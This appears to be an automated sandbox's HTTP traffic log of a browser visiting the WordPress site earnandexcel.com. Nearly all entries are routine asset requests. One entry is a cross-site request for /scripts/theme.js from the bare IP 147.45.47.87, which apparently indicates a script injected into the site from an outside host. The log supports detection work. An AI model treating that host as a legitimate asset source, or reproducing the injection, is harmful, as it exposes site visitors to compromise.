Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor/assets/css/tutor-icon.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor/assets/css/tutor.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor/assets/css/tutor-front.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-pro/assets/css/front.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/edumi/font-edumi.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/swiper/css/swiper.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/lightGallery/css/lightgallery.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/style.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/perfect-scrollbar.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/custom-theme.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/libs/growl/css/jquery.growl.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/css/frontend-legacy.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/css/frontend.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/post-27785.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/global.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/post-706.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/tutor-lms.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall-child/style.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick-theme.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-lms-elementor-addons/assets/css/tutor-elementor.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ele-custom-skin/assets/css/ecs-style.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/elementor/css/post-32613.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ele-custom-skin/assets/js/ecs_ajax_pagination.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-lms-elementor-addons/assets/js/slick.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/tutor-lms-elementor-addons/assets/js/tutor-elementor.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ele-custom-skin/assets/js/ecs.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/svg/headline-curve.svg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/wp-content/themes/edumall/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Earn-And-Excel-Logo-2-296x100.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-regular-400.woff2 HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-solid-900.woff2 HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-light-300.woff2 HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://earnandexcel.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Earn-And-Excel-Logo-1-148x50.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /scripts/theme.js HTTP/1.1Host: 147.45.47.87Connection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/assets/images/cursor/light-close.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/wp-content/themes/edumall/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
